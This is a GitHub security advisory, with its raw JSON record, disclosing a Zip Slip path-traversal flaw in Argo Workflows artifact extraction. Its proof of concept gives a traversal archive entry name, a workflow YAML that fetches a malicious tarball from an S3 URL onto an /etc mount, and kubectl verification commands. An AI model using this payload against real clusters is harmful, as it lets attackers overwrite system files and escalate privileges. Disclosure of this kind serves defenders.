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GHSA-P84V-GXVW-73PF

Vulnerability from github – Published: 2025-10-14 18:00 – Updated: 2025-11-05 22:10
VLAI
Summary
Argo Workflow has a Zipslip Vulnerability
Details

Vulnerability Description

Vulnerability Overview

  1. During the artifact extraction process, the unpack() function extracts the compressed file to a temporary directory (/etc.tmpdir) and then attempts to move its contents to /etc using the rename() system call,
  2. However, since /etc is an already existing system directory, the rename() system call fails, making normal archive extraction impossible.
  3. At this point, if a malicious user sets the entry name inside the tar.gz file to a path traversal like ../../../../../etc/zipslip-poc,
  4. The untar() function combines paths using filepath.Join(dest, filepath.Clean(header.Name)) without path validation, resulting in target = "/work/input/../../../../../etc/zipslip-poc",
  5. Ultimately, the /etc/zipslip-poc file is created, bypassing the normal archive extraction constraints and enabling direct file writing to system directories.

untar(): Writing Files Outside the Extraction Directory

https://github.com/argoproj/argo-workflows/blob/946a2d6b9ac3309371fe47f49ae94c33ca7d488d/workflow/executor/executor.go#L993

  1. Base Path: /work/tmp (dest) — The intended extraction directory in the wait container
  2. Malicious Entry: ../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt (header.Name) — Path traversal payload
  3. Path Cleaning: filepath.Clean("../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt — Go’s path cleaning normalizes the traversal
  4. Path Joining: filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt — Absolute path overrides base directory
  5. File Creation: /mainctrfs/etc/zipslip-ok.txt file is created in the wait container
  6. Volume Mirroring: The file appears as /etc/zipslip-ok.txt in the main container due to volume mount mirroring

PoC

PoC Description

  1. The user uploaded a malicious tar.gz file to S3 that contains path traversal entries like ../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt designed to exploit the vulnerability.
  2. In the Argo Workflows YAML, the artifact’s path is set to /work/tmp, which should normally extract the archive to that intended directory.
  3. However, due to the vulnerability in the untar() function, filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt") resolves to /mainctrfs/etc/zipslip-ok.txt, causing files to be created in unintended locations.
  4. Since the wait container’s /mainctrfs/etc and the main container’s /etc share the same volume, files created in the wait container become visible in the main container’s /etc/ directory.
  5. Consequently, the archive that should extract to /work/tmp exploits the Zip Slip vulnerability to create files in the /etc/ directory, enabling manipulation of system configuration files.

exploit yaml

apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: zipslip-
spec:
  entrypoint: main
  templates:
  - name: main
    container:
      image: ubuntu:22.04
      command: ["sh"]
      args: ["-c", "echo 'Starting container'; sleep 3000"]
      volumeMounts:
      - name: etcvol
        mountPath: /etc
    inputs:
      artifacts:
      - name: evil
        path: /work/tmp  
        archive:
          tar: {}
        http:
          url: "https://zipslip-s3.s3.ap-northeast-2.amazonaws.com/etc-poc.tgz"
    volumes:
    - name: etcvol
      emptyDir: {}

exploit

  1. Create Zipslip
    image (4)

  2. Upload S3
    image (5)

  3. Create Workflow
    image (1) (1)

  4. Run
    image (2)

  5. Exploit Success image (3)

```bash # Find Workflow and Pod NS=default WF=$(kubectl get wf -n "$NS" --sort-by=.metadata.creationTimestamp --no-headers | awk 'END{print $1}') POD=$(kubectl get pod -n "$NS" -l workflows.argoproj.io/workflow="$WF" --no-headers | awk 'END{print $1}') echo "NS=$NS WF=$WF POD=$POD"

# Connect Main Container kubectl exec -it -n "$NS" "$POD" -c main -- bash

# Exploit cd /etc/ ls -l cat zipslip-ok.txt ```

Impact

Container Isolation Bypass

The Zip Slip vulnerability allows attackers to write files to system directories like /etc/ within the container, potentially overwriting critical configuration files such as /etc/passwd, /etc/hosts, or /etc/crontab, which could lead to privilege escalation or persistent access within the compromised container.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-workflows/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-workflows/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0"
            },
            {
              "fixed": "3.7.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62156"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-23"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-14T18:00:30Z",
    "nvd_published_at": "2025-10-14T15:16:12Z",
    "severity": "HIGH"
  },
  "details": "### **Vulnerability Description**\n\n#### Vulnerability Overview\n\n1. During the artifact extraction process, the `unpack()` function extracts the compressed file to a temporary directory (`/etc.tmpdir`) and then attempts to move its contents to `/etc` using the `rename()` system call,\n2. However, since `/etc` is an already existing system directory, the `rename()` system call fails, making normal archive extraction impossible.\n3. At this point, if a malicious user sets the entry name inside the `tar.gz` file to a path traversal like `../../../../../etc/zipslip-poc`,\n4. The `untar()` function combines paths using `filepath.Join(dest, filepath.Clean(header.Name))` without path validation, resulting in `target = \"/work/input/../../../../../etc/zipslip-poc\"`,\n5. Ultimately, the `/etc/zipslip-poc` file is created, bypassing the normal archive extraction constraints and enabling direct file writing to system directories.\n\n#### untar(): Writing Files Outside the Extraction Directory\n\nhttps://github.com/argoproj/argo-workflows/blob/946a2d6b9ac3309371fe47f49ae94c33ca7d488d/workflow/executor/executor.go#L993\n\n1. **Base Path**: `/work/tmp` (dest) \u2014 The intended extraction directory in the wait container  \n2. **Malicious Entry**: `../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt` (`header.Name`) \u2014 Path traversal payload  \n3. **Path Cleaning**: `filepath.Clean(\"../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt\") = /mainctrfs/etc/zipslip-ok.txt` \u2014 Go\u2019s path cleaning normalizes the traversal  \n4. **Path Joining**: `filepath.Join(\"/work/tmp\", \"/mainctrfs/etc/zipslip-ok.txt\") = /mainctrfs/etc/zipslip-ok.txt` \u2014 Absolute path overrides base directory  \n5. **File Creation**: `/mainctrfs/etc/zipslip-ok.txt` file is created in the wait container  \n6. **Volume Mirroring**: The file appears as `/etc/zipslip-ok.txt` in the main container due to volume mount mirroring\n\n### PoC\n\n#### PoC Description\n\n1. The user uploaded a malicious `tar.gz` file to S3 that contains path traversal entries like `../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt` designed to exploit the vulnerability.\n2. In the Argo Workflows YAML, the artifact\u2019s path is set to `/work/tmp`, which should normally extract the archive to that intended directory.\n3. However, due to the vulnerability in the `untar()` function, `filepath.Join(\"/work/tmp\", \"/mainctrfs/etc/zipslip-ok.txt\")` resolves to `/mainctrfs/etc/zipslip-ok.txt`, causing files to be created in unintended locations.\n4. Since the wait container\u2019s `/mainctrfs/etc` and the main container\u2019s `/etc` share the same volume, files created in the wait container become visible in the main container\u2019s `/etc/` directory.\n5. Consequently, the archive that should extract to `/work/tmp` exploits the Zip Slip vulnerability to create files in the `/etc/` directory, enabling manipulation of system configuration files.\n\n#### exploit yaml\n\n```yaml\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: zipslip-\nspec:\n  entrypoint: main\n  templates:\n  - name: main\n    container:\n      image: ubuntu:22.04\n      command: [\"sh\"]\n      args: [\"-c\", \"echo \u0027Starting container\u0027; sleep 3000\"]\n      volumeMounts:\n      - name: etcvol\n        mountPath: /etc\n    inputs:\n      artifacts:\n      - name: evil\n        path: /work/tmp  \n        archive:\n          tar: {}\n        http:\n          url: \"https://zipslip-s3.s3.ap-northeast-2.amazonaws.com/etc-poc.tgz\"\n    volumes:\n    - name: etcvol\n      emptyDir: {}\n```\n\n#### exploit\n\n1. Create Zipslip  \n\u003cimg width=\"1300\" height=\"102\" alt=\"image (4)\" src=\"https://github.com/user-attachments/assets/74569df1-43f9-409d-b905-601bcb5998e2\" /\u003e\n\n2. Upload S3  \n\u003cimg width=\"1634\" height=\"309\" alt=\"image (5)\" src=\"https://github.com/user-attachments/assets/2bf4a90a-0f03-411d-9a31-3c7de4b399b4\" /\u003e\n\n\n3. Create Workflow  \n\u003cimg width=\"1875\" height=\"865\" alt=\"image (1) (1)\" src=\"https://github.com/user-attachments/assets/fd01a4a7-c400-47a2-a8f0-427b0feabc7f\" /\u003e\n\n\n4. Run  \n\u003cimg width=\"1799\" height=\"862\" alt=\"image (2)\" src=\"https://github.com/user-attachments/assets/18a68919-1529-4ca0-9ed4-b71e271ae38f\" /\u003e\n\n\n5. Exploit Success\n\u003cimg width=\"1363\" height=\"440\" alt=\"image (3)\" src=\"https://github.com/user-attachments/assets/ac0e834d-4734-4771-9d24-d6fd1ce5d77f\" /\u003e\n\n   ```bash\n   # Find Workflow and Pod\n   NS=default\n   WF=$(kubectl get wf -n \"$NS\" --sort-by=.metadata.creationTimestamp --no-headers | awk \u0027END{print $1}\u0027)\n   POD=$(kubectl get pod -n \"$NS\" -l workflows.argoproj.io/workflow=\"$WF\" --no-headers | awk \u0027END{print $1}\u0027)\n   echo \"NS=$NS WF=$WF POD=$POD\"\n   \n   # Connect Main Container\n   kubectl exec -it -n \"$NS\" \"$POD\" -c main -- bash\n   \n   # Exploit\n   cd /etc/\n   ls -l\n   cat zipslip-ok.txt\n   ```\n\n### Impact\n\n#### Container Isolation Bypass\n\nThe Zip Slip vulnerability allows attackers to write files to system directories like `/etc/` within the container, potentially overwriting critical configuration files such as `/etc/passwd`, `/etc/hosts`, or `/etc/crontab`, which could lead to privilege escalation or persistent access within the compromised container.",
  "id": "GHSA-p84v-gxvw-73pf",
  "modified": "2025-11-05T22:10:23Z",
  "published": "2025-10-14T18:00:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-p84v-gxvw-73pf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62156"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-workflows/commit/5659ad9b641fcf52c04ed594cd6493f9170f6011"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-workflows/commit/9f6bc5d236cd1b24d607943384511d71ad17a4c3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/argoproj/argo-workflows"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-workflows/blob/946a2d6b9ac3309371fe47f49ae94c33ca7d488d/workflow/executor/executor.go#L993"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-4023"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Argo Workflow has a Zipslip Vulnerability"
}



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